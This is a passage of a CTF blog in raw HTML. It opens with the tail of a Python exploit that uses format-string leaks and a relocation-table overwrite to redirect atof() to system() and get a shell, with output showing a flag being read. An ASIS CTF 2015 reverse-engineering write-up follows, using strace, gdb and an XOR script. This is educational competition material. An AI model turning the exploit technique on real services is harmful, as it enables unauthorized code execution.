</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&#39;Dematerialize&#39;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&#39;Dematerialize&#39;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&#39;Dematerialize&#39;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c">##base</span>
</span><span class='line'><span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;3</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;Coordinates:&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">payload</span>  <span class="o">=</span><span class="s">&quot;51.492137,-0.192878zz&quot;</span><span class="o">+</span><span class="s">&quot;</span><span class="si">%08x</span><span class="s">.&quot;</span><span class="o">*</span><span class="mi">10</span> <span class="o">+</span><span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span><span class='line'><span class="n">ret</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&#39;again&#39;</span><span class="p">)</span>
</span><span class='line'><span class="n">addr1</span>  <span class="o">=</span> <span class="n">ret</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&quot;.&quot;</span><span class="p">)[</span><span class="mi">11</span><span class="p">]</span>
</span><span class='line'><span class="n">addr2</span>  <span class="o">=</span> <span class="n">ret</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&quot;.&quot;</span><span class="p">)[</span><span class="mi">12</span><span class="p">]</span>
</span><span class='line'><span class="n">offset</span> <span class="o">=</span> <span class="mi">4032</span>
</span><span class='line'><span class="n">base</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">addr1</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span><span class="o">+</span><span class="n">offset</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;Coordinates:&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c">##read addr, since we don&#39;t have system() in relocation table, we start from read()</span>
</span><span class='line'><span class="n">payload</span>  <span class="o">=</span> <span class="s">&quot;51.492137,-0.192878z&quot;</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;I&quot;</span><span class="p">,</span><span class="n">base</span><span class="o">+</span><span class="mh">0x5010</span><span class="p">)</span>  <span class="c">#read reloc table</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="p">(</span> <span class="s">&quot;</span><span class="si">%08x</span><span class="s">.&quot;</span><span class="o">*</span><span class="mi">19</span> <span class="o">+</span><span class="s">&quot;</span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span><span class='line'><span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span><span class='line'><span class="n">ret</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;is&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">ret</span> <span class="o">=</span> <span class="n">ret</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&quot;.&quot;</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span><span class='line'><span class="n">ret</span> <span class="o">=</span> <span class="n">ret</span><span class="o">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">][:</span><span class="mi">4</span><span class="p">]</span>
</span><span class='line'><span class="c">#print len(ret),&quot;read&quot;,hex(struct.unpack(&quot;&lt;I&quot;,ret)[0])</span>
</span><span class='line'><span class="n">addr_read</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">&quot;&lt;I&quot;</span><span class="p">,</span><span class="n">ret</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span><span class='line'>
</span><span class='line'><span class="c">##system addr, the offset is based on the corresponding version of libc</span>
</span><span class='line'><span class="n">addr_system</span> <span class="o">=</span> <span class="n">addr_read</span> <span class="o">-</span> <span class="mi">633408</span>
</span><span class='line'>
</span><span class='line'><span class="c">##write address of system to atof&#39;s relo</span>
</span><span class='line'><span class="n">relo_atof</span> <span class="o">=</span> <span class="n">base</span><span class="o">+</span><span class="mh">0x5080</span>
</span><span class='line'><span class="n">str_system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;I&quot;</span><span class="p">,</span><span class="n">addr_system</span><span class="p">)</span>
</span><span class='line'><span class="n">tmp</span> <span class="o">=</span> <span class="n">str_system</span><span class="p">[:</span><span class="mi">2</span><span class="p">][::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">&quot;hex&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">system1</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">str_system</span><span class="p">[:</span><span class="mi">2</span><span class="p">][::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">&quot;hex&quot;</span><span class="p">),</span><span class="mi">16</span><span class="p">)</span>
</span><span class='line'><span class="n">system2</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">str_system</span><span class="p">[</span><span class="mi">2</span><span class="p">:][::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">&quot;hex&quot;</span><span class="p">),</span><span class="mi">16</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;Coordinates:&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">payload</span>  <span class="o">=</span> <span class="s">&quot;51.492137,-0.192878z&quot;</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;I&quot;</span><span class="p">,</span><span class="n">relo_atof</span><span class="p">)</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;I&quot;</span><span class="p">,</span><span class="n">relo_atof</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span> <span class="c">#can be any random 4 bytes</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;I&quot;</span><span class="p">,</span><span class="n">relo_atof</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="p">(</span> <span class="s">&quot;</span><span class="si">%08x</span><span class="s">.&quot;</span><span class="o">*</span><span class="mi">18</span> <span class="o">+</span><span class="s">&quot;%&quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">system1</span><span class="o">+</span><span class="mi">186</span><span class="o">-</span><span class="mi">372</span><span class="o">-</span><span class="mi">8</span><span class="p">)</span><span class="o">+</span> <span class="s">&quot;x&quot;</span> <span class="o">+</span> <span class="s">&quot;%n&quot;</span><span class="o">+</span> <span class="s">&quot;%&quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">system2</span><span class="o">-</span><span class="n">system1</span><span class="p">)</span> <span class="o">+</span><span class="s">&quot;x%n&quot;</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">interact</span><span class="p">()</span><span class="c">#after this, calling atof() becomes calling system(). we can manually input the command</span>
</span></code></pre></td></tr></table></div></figure>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>alpha@alpha-th:~$ python wwtw.py
</span><span class='line'>...
</span><span class='line'>...
</span><span class='line'>f774b082 is occupied by another TARDIS.  Materializing there would rip a hole in time and space. Choose again.  
</span><span class='line'>Coordinates: ,sh
</span><span class='line'>sh: 1: ,sh: not found
</span><span class='line'>
</span><span class='line'>Unauthorized occupant detected...goodbye
</span><span class='line'>id
</span><span class='line'>uid=1001(wwtw) gid=1001(wwtw) groups=1001(wwtw)
</span><span class='line'>cat /home/wwtw/flag
</span><span class='line'>The flag is: Would you like a Jelly Baby? !@()*ASF)9UW$askjal</span></code></pre></td></tr></table></div></figure>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[ASIS CTF Quals 2015 Re100 Tera Writeup]]></title>
    <link href="http://blog.morganz.me/blog/2015/05/11/asis-ctf-quals-2015-re100-tera-writeup/"/>
    <updated>2015-05-11T20:06:13-05:00</updated>
    <id>http://blog.morganz.me/blog/2015/05/11/asis-ctf-quals-2015-re100-tera-writeup</id>
    <content type="html"><![CDATA[<p>Running the program shows a progress bar and gives a core dump:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>alpha@alpha-th:~/Copy/ctf/asis2015/re/100$ ./tera_85021482a68d6ed21892ea99b84f13f3
</span><span class='line'>Please wait until my job be done 
</span><span class='line'>%0.0000000 [                          Segmentation fault (core dumped)</span></code></pre></td></tr></table></div></figure>


<p>Let&rsquo;s look at the output from strace (other lines are omitted):</p>

<!-- more -->


<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>alpha@alpha-th:~/Copy/ctf/asis2015/re/100$ strace ./tera_85021482a68d6ed21892ea99b84f13f3 &gt; /dev/null 
</span><span class='line'>...
</span><span class='line'>open("/tmp/.tera", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
</span><span class='line'>connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("134.79.129.105")}, 16) = -1 EINPROGRESS (Operation now in progress)
</span><span class='line'>sendto(6, "GET /simulations/ds14_a/ds14_a_1"..., 99, MSG_NOSIGNAL, NULL, 0) = 99
</span><span class='line'>recvfrom(6, "HTTP/1.1 404 Not Found\r\nDate: Tu"..., 16384, 0, NULL, NULL) = 506
</span><span class='line'>write(4, "&lt;!DOCTYPE HTML PUBLIC \"-//IETF//"..., 325) = 325
</span><span class='line'>open("/tmp/.tera", O_RDONLY)            = 4</span></code></pre></td></tr></table></div></figure>


<p>Segmentation fault happens right after the second open(), so something might be wrong while reading the file. From the output above we can see that the program sends GET request to 134.79.129.105 to fetch a file, and the response (starting with &lsquo;&lt;!DOCTYPE HTML PUBLIC&rsquo;) is probably written to /tmp/.tera. Let&rsquo;s open /tmp/.tera:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="cp">&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;</span>
</span><span class='line'><span class="nt">&lt;html&gt;&lt;head&gt;</span>
</span><span class='line'><span class="nt">&lt;title&gt;</span>404 Not Found<span class="nt">&lt;/title&gt;</span>
</span><span class='line'><span class="nt">&lt;/head&gt;&lt;body&gt;</span>
</span><span class='line'><span class="nt">&lt;h1&gt;</span>Not Found<span class="nt">&lt;/h1&gt;</span>
</span><span class='line'><span class="nt">&lt;p&gt;</span>The requested URL /simulations/ds14\_a/ds14\_a\_1.0000ª×} was not found on this server.<span class="nt">&lt;/p&gt;</span>
</span><span class='line'><span class="nt">&lt;hr&gt;</span>
</span><span class='line'><span class="nt">&lt;address&gt;</span>Apache/2.2.15 (Red Hat) Server at darksky.slac.stanford.edu Port 80<span class="nt">&lt;/address&gt;</span>
</span><span class='line'><span class="nt">&lt;/body&gt;&lt;/html&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>As we can see, the response is indeed written to /tmp.tera, and we also know the domain of the ip address. But why is it 404 Not found?
Using gdb to set a break point before the function curl_easy_setopt() to examine its arguments, from which we can know the full URL of the file:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'>&quot;http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000\252\327}&quot;
</span></code></pre></td></tr></table></div></figure>


<p>Alright, let&rsquo;s go to &ldquo;<a href="http://darksky.slac.stanford.edu/simulations/ds14_a/">http://darksky.slac.stanford.edu/simulations/ds14_a/</a>&rdquo;:
<img class="cneter" src="http://blog.morganz.me/images/asis2015/tera1.png" title="" ></p>

<p>There is indeed a file called ds14_a_1.0000 (we got response 404 because there are two ending non-ascii characters. We can change \252 to \0 to make the program work), and its size is 31T. Downloading the whole file doesn&rsquo;t seem to be realistic, so let&rsquo;s open IDA to see what the program does after downloading.
Reading towards the end of sub_400F19 routine, we can see the following code:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="n">v39</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s">&quot;r&quot;</span><span class="p">);</span>
</span><span class='line'><span class="n">v38</span> <span class="o">=</span> <span class="n">n</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
</span><span class='line'><span class="n">v16</span> <span class="o">=</span> <span class="n">n</span><span class="p">;</span>
</span><span class='line'><span class="n">v17</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
</span><span class='line'><span class="n">v14</span> <span class="o">=</span> <span class="n">alloca</span><span class="p">(</span><span class="mi">16</span> <span class="o">*</span> <span class="p">((</span><span class="n">n</span> <span class="o">+</span> <span class="mi">15</span><span class="p">)</span> <span class="o">/</span> <span class="mh">0x10</span><span class="p">));</span>
</span><span class='line'><span class="n">ptr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">v16</span><span class="p">;</span>
</span><span class='line'><span class="n">fread</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v16</span><span class="p">,</span> <span class="mi">1uLL</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">v39</span><span class="p">);</span>
</span><span class='line'><span class="k">for</span> <span class="p">(</span> <span class="n">m</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span> <span class="n">v47</span> <span class="o">&gt;</span> <span class="n">m</span><span class="p">;</span> <span class="o">++</span><span class="n">m</span> <span class="p">)</span>
</span><span class='line'>  <span class="n">printf</span><span class="p">(</span><span class="s">&quot;%c</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)(</span><span class="kt">char</span><span class="p">)(</span><span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="n">v35</span><span class="p">[</span><span class="n">m</span><span class="p">])</span> <span class="o">^</span> <span class="n">LOBYTE</span><span class="p">(</span><span class="n">v18</span><span class="p">[</span><span class="n">m</span><span class="p">])));</span>
</span></code></pre></td></tr></table></div></figure>


<p>n is defined earlier in the same routine, and it is 34359739943392 (this also explains the seg fault earlier, since the file containing &ldquo;404 Not found&rdquo; is much smaller than this). It looks like the program wants to load the whole file into memory, and uses xor between some bytes (depends on array v35) of the file and bytes in array v18. Again, loading 31T into memory is not realistic, so we should use other ways to access the file without downloading it. After looking around at the <a href="http://darksky.slac.stanford.edu/">website</a>, I found that they have a bitbucket repo and <a href="https://bitbucket.org/darkskysims/data_release#markdown-header-python-based-exploration">a tutorial</a> for accessing the data:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='python'><span class='line'><span class="kn">import</span> <span class="nn">thingking</span>
</span><span class='line'><span class="n">ds14_a</span> <span class="o">=</span> <span class="n">thingking</span><span class="o">.</span><span class="n">HTTPArray</span><span class="p">(</span><span class="s">&quot;http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000&quot;</span><span class="p">)</span>
</span><span class='line'><span class="k">print</span> <span class="n">ds14_a</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="c">#print the 10th byte</span>
</span></code></pre></td></tr></table></div></figure>


<p>After installing python package thingking, we can access arbitrary bytes of the file without downloading it :)
Then the only thing left is to reverse the two arrays (v35 and v18 above). Luckily, they are constructed directly from the values in memory location: 4199552 and 4200064. In gdb:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>gdb-peda$ x/40gx  4199552
</span><span class='line'>0x401480: 0x0000004c89617cf4  0x000000b4b5e95f83
</span><span class='line'>0x401490: 0x000000e4598d686b  0x00000136a62674ef
</span><span class='line'>0x4014a0: 0x000001837a65beb7  0x0000019fa831467c
</span><span class='line'>0x4014b0: 0x000002a6202acd01  0x000004493f10645e
</span><span class='line'>0x4014c0: 0x000004cdce6d65e4  0x000005028ec8de7e
</span><span class='line'>0x4014d0: 0x0000056219504a56  0x000005bd2d191db8
</span><span class='line'>0x4014e0: 0x0000072bd5d02592  0x0000073dee6d04fe
</span><span class='line'>0x4014f0: 0x00000a25e5afe320  0x00000a73b464fb9e
</span><span class='line'>0x401500: 0x00000b6259f6e34b  0x00000b9aa45094dc
</span><span class='line'>0x401510: 0x00000bc548e0ea39  0x00000c7ac41ecc56
</span><span class='line'>0x401520: 0x00000c85f073fb8b  0x00000c92536a9116
</span><span class='line'>0x401530: 0x00000d930be6dabf  0x00000e61b989da40
</span><span class='line'>0x401540: 0x00000f37999ca268  0x00000fb7c59b9d1f
</span><span class='line'>0x401550: 0x00001018d3a3939d  0x000010202aed0369
</span><span class='line'>0x401560: 0x000010e8fb926cf3  0x0000113bc38ea065
</span><span class='line'>0x401570: 0x000013257504044f  0x000014fb0612dc3c
</span><span class='line'>0x401580: 0x000016572370da92  0x0000173d75634441
</span><span class='line'>0x401590: 0x00001b9d0f2d9374  0x00001ba90de42d8e
</span><span class='line'>0x4015a0: 0x00001be9ef4c8f3e  0x00001bfda4b84e00
</span><span class='line'>0x4015b0: 0x0000000000000000  0x0000000000000000
</span><span class='line'>
</span><span class='line'>gdb-peda$ x/40wx 4200064
</span><span class='line'>0x401680: 0x000000f2  0x0000009a  0x00000083  0x00000012
</span><span class='line'>0x401690: 0x00000039  0x00000045  0x000000e7  0x000000f4
</span><span class='line'>0x4016a0: 0x0000006f  0x000000a1  0x00000006  0x000000e7
</span><span class='line'>0x4016b0: 0x00000095  0x000000f3  0x00000090  0x000000f2
</span><span class='line'>0x4016c0: 0x000000f0  0x0000006b  0x00000033  0x000000e3
</span><span class='line'>0x4016d0: 0x000000a8  0x00000078  0x00000037  0x000000d5
</span><span class='line'>0x4016e0: 0x00000044  0x00000039  0x00000061  0x0000008a
</span><span class='line'>0x4016f0: 0x000000fb  0x00000022  0x000000fa  0x0000009e
</span><span class='line'>0x401700: 0x000000e7  0x00000011  0x00000039  0x000000a6
</span><span class='line'>0x401710: 0x000000f3  0x00000033  0x00000000  0x40590000</span></code></pre></td></tr></table></div></figure>


<p>After having the values of those 2 arrays, we can do xor operations to get the flag. There is a piece of python code for this:</p>

<figure class='code'><figcaption><span> (tera.py)</span> <a href='http://blog.morganz.me/downloads/code/asis2015/tera.py'>download</a></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
</pre></td><td class='code'><pre><code class='py'><span class='line'><span class="n">v35</span> <span class="o">=</span> <span class="p">[</span>
</span><span class='line'>        <span class="mh">0x0000004c89617cf4</span><span class="p">,</span> <span class="mh">0x000000b4b5e95f83</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000000e4598d686b</span><span class="p">,</span> <span class="mh">0x00000136a62674ef</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000001837a65beb7</span><span class="p">,</span> <span class="mh">0x0000019fa831467c</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000002a6202acd01</span><span class="p">,</span> <span class="mh">0x000004493f10645e</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000004cdce6d65e4</span><span class="p">,</span> <span class="mh">0x000005028ec8de7e</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x0000056219504a56</span><span class="p">,</span> <span class="mh">0x000005bd2d191db8</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x0000072bd5d02592</span><span class="p">,</span> <span class="mh">0x0000073dee6d04fe</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00000a25e5afe320</span><span class="p">,</span> <span class="mh">0x00000a73b464fb9e</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00000b6259f6e34b</span><span class="p">,</span> <span class="mh">0x00000b9aa45094dc</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00000bc548e0ea39</span><span class="p">,</span> <span class="mh">0x00000c7ac41ecc56</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00000c85f073fb8b</span><span class="p">,</span> <span class="mh">0x00000c92536a9116</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00000d930be6dabf</span><span class="p">,</span> <span class="mh">0x00000e61b989da40</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00000f37999ca268</span><span class="p">,</span> <span class="mh">0x00000fb7c59b9d1f</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00001018d3a3939d</span><span class="p">,</span> <span class="mh">0x000010202aed0369</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000010e8fb926cf3</span><span class="p">,</span> <span class="mh">0x0000113bc38ea065</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000013257504044f</span><span class="p">,</span> <span class="mh">0x000014fb0612dc3c</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000016572370da92</span><span class="p">,</span> <span class="mh">0x0000173d75634441</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00001b9d0f2d9374</span><span class="p">,</span> <span class="mh">0x00001ba90de42d8e</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00001be9ef4c8f3e</span><span class="p">,</span> <span class="mh">0x00001bfda4b84e00</span>
</span><span class='line'>        <span class="p">]</span>
</span><span class='line'>
</span><span class='line'><span class="n">v18</span> <span class="o">=</span> <span class="p">[</span>
</span><span class='line'>        <span class="mh">0x000000f2</span><span class="p">,</span><span class="mh">0x0000009a</span><span class="p">,</span><span class="mh">0x00000083</span><span class="p">,</span><span class="mh">0x00000012</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00000039</span><span class="p">,</span><span class="mh">0x00000045</span><span class="p">,</span><span class="mh">0x000000e7</span><span class="p">,</span><span class="mh">0x000000f4</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x0000006f</span><span class="p">,</span><span class="mh">0x000000a1</span><span class="p">,</span><span class="mh">0x00000006</span><span class="p">,</span><span class="mh">0x000000e7</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00000095</span><span class="p">,</span><span class="mh">0x000000f3</span><span class="p">,</span><span class="mh">0x00000090</span><span class="p">,</span><span class="mh">0x000000f2</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000000f0</span><span class="p">,</span><span class="mh">0x0000006b</span><span class="p">,</span><span class="mh">0x00000033</span><span class="p">,</span><span class="mh">0x000000e3</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000000a8</span><span class="p">,</span><span class="mh">0x00000078</span><span class="p">,</span><span class="mh">0x00000037</span><span class="p">,</span><span class="mh">0x000000d5</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x00000044</span><span class="p">,</span><span class="mh">0x00000039</span><span class="p">,</span><span class="mh">0x00000061</span><span class="p">,</span><span class="mh">0x0000008a</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000000fb</span><span class="p">,</span><span class="mh">0x00000022</span><span class="p">,</span><span class="mh">0x000000fa</span><span class="p">,</span><span class="mh">0x0000009e</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000000e7</span><span class="p">,</span><span class="mh">0x00000011</span><span class="p">,</span><span class="mh">0x00000039</span><span class="p">,</span><span class="mh">0x000000a6</span><span class="p">,</span>
</span><span class='line'>        <span class="mh">0x000000f3</span><span class="p">,</span><span class="mh">0x00000033</span>
</span><span class='line'>        <span class="p">]</span>
</span><span class='line'>
</span><span class='line'><span class="kn">import</span> <span class="nn">thingking</span>
